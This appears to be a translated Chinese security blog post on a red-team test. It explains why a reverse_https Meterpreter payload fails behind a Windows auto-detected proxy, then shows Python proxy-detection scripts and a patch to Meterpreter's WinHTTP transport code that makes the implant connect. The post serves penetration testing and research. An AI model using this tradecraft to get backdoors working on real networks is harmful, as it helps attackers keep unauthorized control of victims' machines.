导语:几个月前,在只可以通过代理进行访问的公司windows网络中,我对其进行了我开发的模拟定制的APT攻击。在测试过程中,我意外的发现我可以上传https返回类型的meterpreter后门。但是不能执行命令,这是为什么呢?

前言

几个月前,在只可以通过代理进行访问的公司windows网络中,我对其进行了我开发的模拟定制的APT攻击。在测试过程中,我意外的发现我可以上传https返回类型的meterpreter后门。一开始,我并不确定这个地方存在漏洞,或者这个地方对APT攻击是否起作用。为了验证这个地方是否存在漏洞,我现在需要处理好代理环境。

在对环境做了深入分析之后,我们使用的meterpreter模块(windows/meterpreter/reverse_https)并没有攻击成功。

在介绍详细攻击信息前,我先介绍一下测试环境:

1. 靶机系统以及IP:Windows 8.1 x64商业版本 10.x.x.189
2. 进入内网途径:通过认证代理
3. 代理ip以及端口:10.x.x.20:8080
4. 通过代理的外部Ip:190.x.x.x
5. 攻击者机器:190.y.y.y
6. meterpreter选择模块:windows/meterpreter/reverse_https

注意:作为提醒,这里的meterpreter后门执行过程是分阶段的,执行第一阶段会后会通过反向注入将真正的攻击载荷(metsrv.x86.dll或者metsrv.x64.dll)注入到内存当中。下面的截图展示了靶机的外部ip:

1-W7jjjvHGfApoRx61bDvhvg.png

下面截图展示了靶机中的代理设置:

1-UZnV3nRdrPcwKgALatSTpA.png

下面截图展示了靶机中使用”autoprox.exe”.很显然看到通过dhcp获得代理设置。

1-VJeAtHgYwGZCPydrIInMjw.png

在上面这张图中我们可以观察到,访问”www.google.com“时,我们经过了10.x.x.20:8080代理服务器。注意:根据我的分析,autoprox.exe([email protected]提供)会使用windows的API首先搜索通过DHCP的代理设置,如果没有找到,他会继续搜索通过DNS的代理设置。

攻击过程分析

在分析这一问题过程中,我会更改一些meterpreter攻击载荷的代码,然后在被攻击靶机中测试。因此这就需要我们产生https类型或者使用其他类型的meterpreter后门源码。
注意:可以通过shellter或者任何受信任的软件像putty.exe产生一个简单的后门,另外使用powershell产生web协议模块的meterpreter后门。我们会对产生的攻击载荷进行修改,所以对所有的攻击环境,只需要产生一个后门代码。

我们在靶机中执行产生的后门软件,攻击值执行侦听后门程序,观察会发生什么。接下来的屏幕截图中展示了攻击机中在443端口正在执行的侦听,连接之后并没有执行成功命令。

1-DvyTml-QOL5GVi4odyMZog.png

上图中,我们可以发现靶机已经反向连接回我们的侦听机器,然后获得了一个meterpreter的shell。但是,这个shell并不能执行任何命令,紧接着这一会话就结束了。

从高层次的观点来看,当靶机执行后门之后,会反弹回攻击者机器上,然后下载一个相对较大的攻击代码进而注入到内存当中,然后持续控制靶机。这时被注入的meterpreter会再次连接攻击者机器,然后运行攻击者与靶机进行交互。

那么现在从我们看到的现象中,我们可以推断出第一阶段已经成功,并且可以通过代理反弹到攻击者机器。但是,当第二阶段注入过程中,可能发生一些错误,导致命令执行不成功以及会话结束。
注意:在这种情况下,你可能会想知道是不是杀毒软件进行了拦截,或者说网络管理员对https内容进行了监视。我手动创建了一个PEM证书,然后配置监听器以便让这一证书发挥作用,当metasploit的侦听被访问时,比较浏览器上观察的指纹与刚刚创建的证书的指纹,以便确定证书在传输过程中并没有被替换。这一步骤促使我继续在别的方面寻找问题。

接下来,按照一般的思路很明显就是嗅探在这一过程中的网络流量,去了解更多这一步骤发生的情况(从黑盒情况下来讲)。

下面的截图展示了通过wrieshark嗅探靶机的流量通信。

1494301059339895.png

在上图中,可以观察到靶机(10.x.x.189)和代理服务器(10.x.x.20:8080)的TCP流量通信。其中,靶机在第一个数据包中发送与攻击机器(190.x.x.x:443)请求安全(SSL/TLS协议)连接的数据包。另外,还可以看到请求过程中使用了NTLM身份验证(NTLMSSP_AUTH),并且代理服务器返回的响应为“建立连接”(HTTP/1.1
200),经过这些通信之后,SSL/TLS协议握手成功。

值得一提的是在上图中展示了在执行后门之后的第一阶段的网络通信发送以及接受是正常的。当连接建立之后,在两端(客户端以及服务端)经典的SSL/TLS握手已经形成,接下来在加密的频道,攻击第二阶段的后门从攻击机到靶机进行传输。

现在我们已经确定在部署meterpreter的第一个部分是没有问题的,接下来就是为了了解第二部分发生了什么,也就是在第一部分的攻击载荷以及msf侦听之间的通信中发生了什么。为了找到答案,我们只需要继续通过wireshark分析网络流量。

下方截图展示了第一阶段攻击载荷以及msf侦听之间的通信,并且试图在靶机不使用代理直接与攻击机器进行通信。

1494301076182278.png

上述图像前五个数据包中,可以看到靶机(10.x.x.189)与代理服务器(10.x.x.20)通信中TCP连接终止字段(FIN,ACK;FIN.ACK;ACK;),接下来可以看到第六个数据包中包含从靶机不经过代理服务器发送到攻击机的TCP

SYN标志位(发起TCP握手)。最后,在靶机从网管接收到的第七个数据包中可以看到攻击机机器不可达,不能从该网络直接访问(还记得我说过这种情况需要代理到达互联网)。

通过观察这一过程的流量通信,可以理解为meterpreter会话中断的原因是第二截断的后门载荷不能返回到msf的侦听中。
现在我们将要做的就是下载meterpreter的源代码,然后尝试去了解发生这一情况的根本原因。为了做这一任务,我们应该参考在Rapid7的github里面的”Buiding-Windows”指南。现在按照指南的建议,我们可以使用Visual Studio 2013打开项目解决方案文件(metasploit-payloadscmeterpreterworkspacemeterpreter.sln),之后就开始审计源代码吧。

审计完源代码之后,我们可以看到”server_transport_winhttp.c”文件中有一个实现代理的逻辑实现。(请通过参考引用快速定位源文件)
下面的屏幕截图展示了meterpreter设置代理的部分代码:

1494301095369172.png

我从github中meterprter的reverse_https的相关线程中了解到,后门首先会尝试使用WinHTTP Windows API来访问互联网。我们发现在源代码中存在大量用于调试的dprintf语句,并且这将在我们运行过程中提供大量有价值的信息。

为了使调试信息能够展示给我们,我们将common.h源代码中的头文件中的DEBUGTRACE预处理常量进行修改。这会使加载meterpreter动态链接库的服务器产生可以使用VS进行调试的窗口以及可以使用DebugView或者_Windbg_进行读取信息。

下面的屏幕截图是展示了在common.h源代码中注释的原始DEBUGTRACE常量。

1494301112280415.png

下面截图是展示了我们需要获得调试信息进行的修改:

1-XkPj8brEJ5YUJTqUfdIxrg.png

进行修改之后,我们将编译好的放在“metasploit-payloadscmeterpreteroutputx86”位置中的metsrv.x86.dll复制到攻击机的相应目录。比如在我的机器中,目录为:“/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/metasploit-payloads-1.1.26/data/meterpreter/”。
在测试靶机中,运行”DebugView”工具然后运行刚刚产生的后门,再反弹回攻击机器一个meterpreter会话。
接下来的截图是展示了在靶机中进行调试的调试信息。

1494301150847341.png

从meterpreter产生的调试信息中,可以通过dprintf发现调试信息中的70到74行对应的是server_transport_winhttp.c源代码中的48到52行。在71行中[PROXY]AutoDetect:yes表示在靶机中已经找到了AutoDetect代理设置。但是经过代理的url是空的。最后,可以在75行看出后门尝试发出一个get请求,但是发送失败。

根据meterpreter后门的调试信息,我们现在已经快接近问题的根源所在。问题好像是由于代码块在处理windows代理过程中发生了问题。为了解决这一问题,我们需要分析源代码进行修改以及调试。

如果多次产生meterpreter的C源代码然后将产生的netsrv dll到攻击者机器中进行测试这样太浪费时间。于是使用python比较简单的对代理模块的代码进行复制,并且在靶机中进行多次调试。

以下代码是Meterpreter代码片段,可以在server_transport_winhttp.c源代码中找到,但是是以Python形式进行编写:

import ctypes
import ctypes.wintypes
import sys
class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):
    _fields_ = [("fAutoDetect", ctypes.wintypes.BOOL),
                ("lpszAutoConfigUrl", ctypes.wintypes.LPWSTR),
                ("lpszProxy", ctypes.wintypes.LPWSTR),
                ("lpszProxyBypass", ctypes.wintypes.LPWSTR)]
class WINHTTP_AUTOPROXY_OPTIONS(ctypes.Structure):
    _fields_ = [("dwFlags", ctypes.wintypes.DWORD),
                ("dwAutoDetectFlags", ctypes.wintypes.DWORD),
                ("lpszAutoConfigUrl", ctypes.wintypes.LPCWSTR),
                ("lpvReserved", ctypes.c_void_p),
                ("dwReserved", ctypes.wintypes.DWORD),
                ("fAutoLogonIfChallenged", ctypes.wintypes.BOOL)]
class WINHTTP_PROXY_INFO(ctypes.Structure):
    _fields_ = [("dwAccessType", ctypes.wintypes.DWORD),
                ("lpszProxy", ctypes.wintypes.LPCWSTR),
                ("lpszProxyBypass", ctypes.wintypes.LPCWSTR)]
# dwFlags values
WINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001
WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002
# dwAutoDetectFlags values
WINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001
WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002
# Parameters for WinHttpOpen
WINHTTP_USER_AGENT = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0
WINHTTP_NO_PROXY_NAME = 0
WINHTTP_NO_PROXY_BYPASS = 0
WINHTTP_FLAG_ASYNC = 0x10000000
test_url = "http://www.google.com"
# Gets the current user IE proxy configuration
ieConfig = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()
result = ctypes.windll.winhttp.WinHttpGetIEProxyConfigForCurrentUser(ctypes.byref(ieConfig))
if not result:
    print "[-] Error on WinHttpGetIEProxyConfigForCurrentUser: %s" % ctypes.GetLastError()
    sys.exit()
print "[+] Got IE configuration"
print "tAutoDetect: %s" % ieConfig.fAutoDetect
print "tAuto URL: %s" % ieConfig.lpszAutoConfigUrl
print "tProxy: %s" % ieConfig.lpszProxy
print "tProxy Bypass: %s" % ieConfig.lpszProxyBypass
# We have three alternatives:
#  1. The configuration is set to "auto detect" the proxy, that is, via DHCP or DNS (in that order)
#  2. There is a URL for downloading the script with the configuration (proxy autoconfiguration, PAC)
#  3. A manually configured proxy is being used
if ieConfig.lpszAutoConfigUrl:
    autoProxyOpts = WINHTTP_AUTOPROXY_OPTIONS()
    proxyInfo = WINHTTP_PROXY_INFO()
    print "[+] IE config set to autodetect with URL %s" % ieConfig.lpszAutoConfigUrl
    autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT | WINHTTP_AUTOPROXY_CONFIG_URL
    autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A
    autoProxyOpts.fAutoLogonIfChallenged = True
    autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl
    hInternet = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 
                                                  WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_ASYNC)        
    if not hInternet:
        print "[-] Error on WinHttpOpen: %s" % ctypes.GetLastError()
        sys.exit()
    result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hInternet, unicode(test_url), ctypes.byref(autoProxyOpts), 
                                                         ctypes.byref(proxyInfo))
    if not result:
        print "[-] Error on WinHttpGetProxyForUrl: %s" % ctypes.GetLastError()
        sys.exit()
    print "[+] Proxy Host: %s" % proxyInfo.lpszProxy
elif ieConfig.lpszProxy:
    print "[+] IE config set to proxy %s with bypass %s" % (ieConfig.lpszProxy, ieConfig.lpszProxyBypass)

下面截图是展示了在靶机中运行此脚本的输出内容:

1-CBfxlhZ2w1L3GsAEhNNUog.png

此脚本的输出和我们获得的调试信息输出的内容是一样的。攻击过程中已经设置了AutoDetect参数,但是并没有获得代理地址。

如果再次检查源代码,你会意识到DHCP以及DNS很可能在判断是否使用自动配置url的if代码块中。但是如果只有AutoDetect选项打开这个代码块并不会被执行。所以,可以判断出这就是问题所在。

在靶机这种特殊的环境下,代理设置是通过DHCPde 252选项获得的。下面截图是展示在靶机中嗅探到的DHCP流量包。

1-SbeX9DIVt9lUz6oZLtBsCA.png

通过在靶机中嗅探得到的DHCP通信中可以发现服务器返回的DHCP应答包含了用于代理URL获取有关信息的252选项(自动查找代理)。请记住,这一发现是在我们使用autoprox.exe之前获得的。

在继续发现问题之前,先了解一下windows为代理设置提供的三种方案:

1. 自动选择配置:通过252选项(DHCP)获得URL。或者在允许的情况下,通过DNS,LLMNR或者NBNS协议请求WPAD主机名。
2. 使用自动配置脚本:从指定的url下载自动配置脚本,使用这个脚本进行代理选择。
3. 代理服务器: 为不同的协议手动配置代理服务器。

我们先在python环境中进行实验,如果能够成功,那么我们再通过C进行编写Meterpreter后门。
下面就是修改后的python代码:

import ctypes
import ctypes.wintypes
import sys

class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):
    _fields_ = [("fAutoDetect", ctypes.wintypes.BOOL),
                ("lpszAutoConfigUrl", ctypes.wintypes.LPWSTR),
                ("lpszProxy", ctypes.wintypes.LPWSTR),
                ("lpszProxyBypass", ctypes.wintypes.LPWSTR)]

class WINHTTP_AUTOPROXY_OPTIONS(ctypes.Structure):
    _fields_ = [("dwFlags", ctypes.wintypes.DWORD),
                ("dwAutoDetectFlags", ctypes.wintypes.DWORD),
                ("lpszAutoConfigUrl", ctypes.wintypes.LPCWSTR),
                ("lpvReserved", ctypes.c_void_p),
                ("dwReserved", ctypes.wintypes.DWORD),
                ("fAutoLogonIfChallenged", ctypes.wintypes.BOOL)]

class WINHTTP_PROXY_INFO(ctypes.Structure):
    _fields_ = [("dwAccessType", ctypes.wintypes.DWORD),
                ("lpszProxy", ctypes.wintypes.LPCWSTR),
                ("lpszProxyBypass", ctypes.wintypes.LPCWSTR)]

# dwFlags values
WINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001
WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002

# dwAutoDetectFlags values
WINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001
WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002

# Parameters for WinHttpOpen
WINHTTP_USER_AGENT = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0
WINHTTP_NO_PROXY_NAME = 0
WINHTTP_NO_PROXY_BYPASS = 0
WINHTTP_FLAG_ASYNC = 0x10000000

test_url = "http://www.google.com"

# Gets the current user IE proxy configuration
ieConfig = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()
result = ctypes.windll.winhttp.WinHttpGetIEProxyConfigForCurrentUser(ctypes.byref(ieConfig))

if not result:
    print "[-] Error on WinHttpGetIEProxyConfigForCurrentUser: %s" % ctypes.GetLastError()
    sys.exit()

print "[+] Got IE configuration"
print "tAutoDetect: %s" % ieConfig.fAutoDetect
print "tAuto URL: %s" % ieConfig.lpszAutoConfigUrl
print "tProxy: %s" % ieConfig.lpszProxy
print "tProxy Bypass: %s" % ieConfig.lpszProxyBypass

# We have three alternatives:
#  1. The configuration is to "auto detect" the proxy, that is, via DHCP or DNS
#  2. There is a URL for the script with the configuratoin (proxy autoconfiguration, PAC)
#  3. A manually configured proxy is being used

if ieConfig.lpszAutoConfigUrl or ieConfig.fAutoDetect:
    autoProxyOpts = WINHTTP_AUTOPROXY_OPTIONS()
    proxyInfo = WINHTTP_PROXY_INFO()

    if ieConfig.lpszAutoConfigUrl:
        print "[+] IE config set to autodetect with URL %s" % ieConfig.lpszAutoConfigUrl
        autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL
        autoProxyOpts.dwAutoDetectFlags = 0
        autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl

    if ieConfig.fAutoDetect:
        print "[+] IE config set to autodetect via DHCP or DNS"
        autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT
        autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A
        autoProxyOpts.lpszAutoConfigUrl = 0

    autoProxyOpts.fAutoLogonIfChallenged = True

    hInternet = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT,  WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 
                                                  WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_ASYNC)        
    if not hInternet:
        print "[-] Error on WinHttpOpen: %s" % ctypes.GetLastError()
        sys.exit()

    result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hInternet, unicode(test_url), ctypes.byref(autoProxyOpts), 
                                                         ctypes.byref(proxyInfo))

    if not result:
        print "[-] Error on WinHttpGetProxyForUrl: %s" % ctypes.GetLastError()
        sys.exit()

    print "[+] Proxy Host: %s" % proxyInfo.lpszProxy

elif ieConfig.lpszProxy:
    print "[+] IE config set to proxy %s with bypass %s" % (ieConfig.lpszProxy, ieConfig.lpszProxyBypass)

在修改后的代码中我们可以发现现在后门会考虑通过DHCP或者DNS协议进行的代理。现在,让我们执行这个后门,看看他是如何工作的。
下面截图展现了修改后的python代码在靶机中的运行结果。

1-lPiYEEn5EKUXnBhvAjVu_g.png

发现成功的选择了通过DCHP或者DNS的代理配置。并且他显示了和文章开头一样的代理服务器(10.x.x.20).现在我们知道了这一段代码是能够工作的。我们进而将meterpreter的C代码进行更新,即对server_transport_winhttp.c进行修改,然后进行测试。

下面代码就是meterpreter代码进行更新的部分:

  ...
dprintf("[PROXY] Got IE configuration");
dprintf("[PROXY] AutoDetect: %s", ieConfig.fAutoDetect ? "yes" : "no");
dprintf("[PROXY] Auto URL: %S", ieConfig.lpszAutoConfigUrl);
dprintf("[PROXY] Proxy: %S", ieConfig.lpszProxy);
dprintf("[PROXY] Proxy Bypass: %S", ieConfig.lpszProxyBypass);

if (ieConfig.lpszAutoConfigUrl || ieConfig.fAutoDetect)
{
    WINHTTP_AUTOPROXY_OPTIONS autoProxyOpts = { 0 };
    WINHTTP_PROXY_INFO proxyInfo = { 0 }; 
    if (ieConfig.fAutoDetect)
    {
        dprintf("[PROXY] IE config set to autodetect via DHCP or DNS");

        autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT;
        autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;
        autoProxyOpts.lpszAutoConfigUrl = 0;
    }
    else if (ieConfig.lpszAutoConfigUrl)
    {
        dprintf("[PROXY] IE config set to autodetect with URL %S", ieConfig.lpszAutoConfigUrl);

        autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL;
        autoProxyOpts.dwAutoDetectFlags = 0;
        autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl;
    }
    autoProxyOpts.fAutoLogonIfChallenged = TRUE;
   if (WinHttpGetProxyForUrl(ctx->internet, ctx->url, &autoProxyOpts, &proxyInfo))
        ...

修改之后,编译后门,将生成的metsrv meterpreter dll复制到攻击机中,然后再一次开启侦听等待靶机上线。
下面截图展示了攻击机器中反弹shell执行成功命令。

1494301349288978.png

发现当靶机使用”Auto detect”设置时,meterpreter能够执行命令。

问题根源所在

现在我们是时候讨论一下当你阅读这篇文章时可能遇到的感到困惑的地方:

* 为什么要首先到达攻击机。
* 在攻击的第一阶段以及第二阶段有什么不同。

为了找到这些问题的答案,我们首先需要理解下meterpreter在这篇文章中是如何进行工作的。

先从一开始说起:windows的API通过https提供了两种方法进行通信:WinInet和WinHTTP。在meterpreter处理https通信层时,有两个比较有趣的功能:

1. 攻击机器(https服务器)具有提供的证书签名的能力,防止像L7网络防火墙这样的代理进行内容检查。
2. 获取当前用户代理设置的能力,以便能够通过网络到达攻击机器。

事实证明这两个功能并不能在同一个API函数中找到,两个API功能分别为:
WinInet:

1. 是否使用代理。意味着如果当前用户的系统中使用了浏览器代理,那么接下来就会对WinInet支持的程序进行代理。
2. 不会对自定义的SSL/TLS证书进行代理。

WinHTTP:

1. 允许自定义的SSL证书进行代理。
2. 不使用当前系统中的代理。

在meterpreter方面,我们可以使用两种不同的攻击载荷:

1. reverse_https攻击载荷使用的是WinInet的Windows API,意味着不会通过证书验证,但是可以使用系统当前的代理配置。于是,如果用户可以通过IE进行网络访问,那么这个攻击载荷就可以进行工作。
2. reverse_winhttps攻击载荷使用的是Winhttp的Windows API,意味着他可以通过证书验证,不过系统当前的代理设置不会被使用。

这种情况下的meterpreter攻击载荷使用的是默认的WinHTTP windows API,如果出现错误就会再次返回WinInet。在用户使用”强制模式”下,优先检测证书。因为WinInet不能验证证书,所以他被认为是一个错误。

注意:在meterpreter中,”强制模式”意味着需要验证SSL/TLS证书的签名。如果签名已经被替换,那么这一阶段就不能进行访问,因此会话不能建立。如果当前用户使用的是”强制模式”,那么攻击载荷应该使用WinHTTP。

现在我们有足够的基础知识去理解我们面对的困难。我刚才使用的是”reverse_https”meterpreter的攻击载荷(没有考虑到测试环境中的强制模式),这就意味着第一阶段后门通过Windows
API使用当前用户的代理设置反弹到侦听机器中。但是因为默认攻击载荷使用的是WinHTTP
API,根据我的推测他在第二阶段有个错误,所以我认为他不能返回到侦听者的机器中。所以我认为这是上面两个问题的答案。

代理识别方法

另外一个我们没有回答的问题是:当我们使用WinHTTP windows API函数时,应该怎么样获取当前用户的代理设置?

为了找到答案,我们需要在测试主机上设置多个代理选项,设置访问优先级,测试当一个代理选项不能用时,系统下一步会进行什么操作?换句话说它会不会自动执行另外一个选项。

根据我所得到的结论,在设置网络代理的对话框中的代理选项是按照他们的优先顺序进行设置的。首先是”自动选择配置”,接下来是”使用自动配置脚本”,然后是”在局域网中使用代理”。

另外,可以在微软MSDN的”开发者代码实例”找到关于使用WinHTTP API的示例代码,其中代码说明如下:

请使用如下的步骤使用进行代理设置:
1. 配置自动选择配置
2. 配置自动选择url
3. 配置静态代理设置

我们之前的设置已经和说明相符。

容错实现

最后一个问题,如果我配置了多个代理选项,不过一个优先级高的代理不起作用,那么会发生什么?主机会一直向下寻找,直到找到一个有用的配置为止。

为了寻找到这一个答案,我们需要进行一些实验,或者花费几个小时逆向分析设置这一部分的组件,主要是wininet.dll。所以我们选择进行一些实验,当然这样会比较省时。

实验设置

为了更深层次的分析Windows代理设置以及工作,我搭建了具有以下功能的实验环境:

一个拥有一个域控制器的域环境:

域名:lab.bransh.com
域控IP: 192.168.0.1
DHCP 服务器:192.168.0.100-150

三个线程管理网关:

tmg1.lab.bransh.com: 192.168.0.10
tmg2.lab.bransh.com: 192.168.0.11
tmg3.lab.bransh.com: 192.168.0.12

每一个线程管理网关拥有两个网卡:”internal”网卡在192.168.0.x网段,连接到了域环境中,允许客户端通过网络到达。另外一个网卡连接到了另外一个网络,并使用代理进行网络访问。

一个windows客户端(windows 8.1 x64):
通过DHCP进行IP分配
其中代理配置:

通过DHCP(选项252): tmg1.lab.bransh.com
通过脚本代理:http://tmg2.lab.bransh.com/wpad.dat
手工设置: tmg3.lab.bransh.com:8080
客户端不能直接访问网络
火狐浏览器已经设置使用系统代理
下方截图显示了windows客户端代理设置:

1-XipUbfTLc-MXGWpXuzPOkQ.png

下方截图显示了通过DHCP进行代理的流量:

1494301481115522.png

注意:”自动选择配置”选项不能选择通过DHCP或者DNS进行的代理。当我们使用windowsAPI时,我们需要手动选择需要使用哪一个,或者两个都使用。
通过使用Windows提供的API的简单代码,可以测试几个代理方案。我这时同样使用python编写代码,因为修改和运行代码非常容易,而无需在每次需要修改时在测试机器中编译c或者c++代码。不过,也可以使用你喜欢的语言进行编写:

import ctypes
import ctypes.wintypes
import sys

class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):
    _fields_ = [("fAutoDetect", ctypes.wintypes.BOOL),
                ("lpszAutoConfigUrl", ctypes.wintypes.LPWSTR),
                ("lpszProxy", ctypes.wintypes.LPWSTR),
                ("lpszProxyBypass", ctypes.wintypes.LPWSTR)]

class WINHTTP_AUTOPROXY_OPTIONS(ctypes.Structure):
    _fields_ = [("dwFlags", ctypes.wintypes.DWORD),
                ("dwAutoDetectFlags", ctypes.wintypes.DWORD),
                ("lpszAutoConfigUrl", ctypes.wintypes.LPCWSTR),
                ("lpvReserved", ctypes.c_void_p),
                ("dwReserved", ctypes.wintypes.DWORD),
                ("fAutoLogonIfChallenged", ctypes.wintypes.BOOL)]

class WINHTTP_PROXY_INFO(ctypes.Structure):
    _fields_ = [("dwAccessType", ctypes.wintypes.DWORD),
                ("lpszProxy", ctypes.wintypes.LPCWSTR),
                ("lpszProxyBypass", ctypes.wintypes.LPCWSTR)]

WINHTTP_USER_AGENT = ctypes.c_wchar_p('Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko')
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0
WINHTTP_ACCESS_TYPE_NO_PROXY = 1
WINHTTP_ACCESS_TYPE_NAMED_PROXY = 3
WINHTTP_NO_PROXY_NAME = 0
WINHTTP_NO_PROXY_BYPASS = 0

def ShowLastError(message, alignment = 0):
    error_id = ctypes.GetLastError()
    print ' ' * alignment + '[-] Error on %s: %s' % (message, error_id)

    if error_id == 12167:
        title = 'ERROR_WINHTTP_UNABLE_TO_DOWNLOAD_SCRIPT'
        message = 'The PAC file cannot be downloaded. For example, the server referenced by the PAC URL may not have been reachable, or the server returned a 404 NOT FOUND response.'
    elif error_id == 12007:
        title = 'ERROR_WINHTTP_NAME_NOT_RESOLVED'
        message = 'The server name cannot be resolved.'
    elif error_id == 12029:
        title = 'ERROR_WINHTTP_CANNOT_CONNECT'
        message = 'Returned if connection to the server failed.'
    elif error_id == 12002:
        title = 'ERROR_WINHTTP_TIMEOUT'
        message = 'The request has timed out.'
    elif error_id == 12180:
        title = 'ERROR_WINHTTP_AUTODETECTION_FAILED'
        message = 'Returned by WinHttpDetectAutoProxyConfigUrl if WinHTTP was unable to discover the URL of the Proxy Auto-Configuration (PAC) file.'
    else:
        title = 'UNKNOWN'
        message = 'unknown'

    msg_max_len = 70
    msg_list = [message[i:i+msg_max_len] for i in range(0, len(message), msg_max_len)]

    print ' ' * alignment + '    => %s' % title
    for msg in msg_list:
        print ' ' * alignment + '       %s' % msg

def GetCurrentProxies():
    pProxyConfig = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()
    result = ctypes.windll.winhttp.WinHttpGetIEProxyConfigForCurrentUser(ctypes.byref(pProxyConfig))

    if result == False:
        ShowLastError('WinHttpGetIEProxyConfigForCurrentUser')
        return False, None

    return True, pProxyConfig

def GetProxyInfoList(pProxyConfig, target_url):
    print 'n[*] Checking proxy configuration alternatives...'

    proxy_list = []
    hSession = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT,  WINHTTP_ACCESS_TYPE_NO_PROXY,
                                                 WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0)

    if hSession is None:
        ShowLastError('WinHttpOpen')
        sys.exit()

    WINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001
    WINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001
    WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002
    WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002

    if pProxyConfig.fAutoDetect:
        print 'n  (1) Automatically detect settings (enabled)'
        print '      [*] Trying to get the proxy using the conventional method...'

        pAutoProxyOptions = WINHTTP_AUTOPROXY_OPTIONS()
        pProxyInfo = WINHTTP_PROXY_INFO()

        pAutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT
        pAutoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A
        pAutoProxyOptions.lpszAutoConfigUrl = 0
        lpcwszUrl = ctypes.wintypes.LPCWSTR(target_url)
        result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hSession, lpcwszUrl, ctypes.byref(pAutoProxyOptions),
                                                             ctypes.byref(pProxyInfo))
        if result == False:
            ShowLastError('WinHttpGetProxyForUrl', 6)
            print 'n      [*] Trying to get the proxy using the AutoConfigURL...'

            dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A
            ppwszAutoConfigUrl = ctypes.wintypes.LPWSTR()
            result = ctypes.windll.winhttp.WinHttpDetectAutoProxyConfigUrl(dwAutoDetectFlags, 
                                                                           ctypes.byref(ppwszAutoConfigUrl))

            if result == False:
                ShowLastError('WinHttpDetectAutoProxyConfigUrl', 10)
            else:
                print '      [+] Trying to get the proxy from the obtained URL (%s)' % ppwszAutoConfigUrl.value
                pAutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL
                pAutoProxyOptions.dwAutoDetectFlags = 0
                pAutoProxyOptions.fAutoLogonIfChallenged = True
                pAutoProxyOptions.lpszAutoConfigUrl = ppwszAutoConfigUrl
                result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hSession, lpcwszUrl, ctypes.byref(pAutoProxyOptions),
                                                                     ctypes.byref(pProxyInfo))
                if result:
                    print '      [+] Proxy: %s' % (pProxyInfo.lpszProxy)
                    proxy_list.append(pProxyInfo)
                else:
                    ShowLastError('WinHttpGetProxyForUrl', 10)
        else:
            print '      [+] Proxy: %s' % (pProxyInfo.lpszProxy)
            proxy_list.append(pProxyInfo)

    if pProxyConfig.lpszAutoConfigUrl:
        print 'n  (2) Use automatic configuration script (%s)' % pProxyConfig.lpszAutoConfigUrl

        pAutoProxyOptions = WINHTTP_AUTOPROXY_OPTIONS()
        pProxyInfo = WINHTTP_PROXY_INFO()

        pAutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL
        pAutoProxyOptions.dwAutoDetectFlags = 0
        pAutoProxyOptions.fAutoLogonIfChallenged = True
        pAutoProxyOptions.lpszAutoConfigUrl = pProxyConfig.lpszAutoConfigUrl
